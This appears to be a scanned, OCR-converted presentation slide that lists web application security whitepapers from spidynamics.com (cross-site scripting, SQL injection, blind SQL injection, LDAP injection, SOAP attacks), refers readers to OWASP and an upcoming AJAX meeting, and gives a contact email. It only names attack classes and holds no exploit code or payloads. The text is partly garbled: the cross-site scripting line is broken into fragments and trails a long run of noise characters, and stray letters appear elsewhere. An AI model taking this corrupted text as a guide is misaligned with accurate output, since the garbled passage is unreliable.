Web

«  Whitepapers on www.spidynamics.com: Application
: . Security

- C rOSS'S Ite'SC“ ptl n g l'Irllilll!l':::'::ITIII'I:EEII:

— SQL Injection B

— Blind SQL Injection

— LDAP Injection

— SOAP Attacks

 Open Web Application Security Project:
— www.owasp.org Next meeting in Columbia MD: AJAX'!

e Contact: mfisher@spidynamics.com
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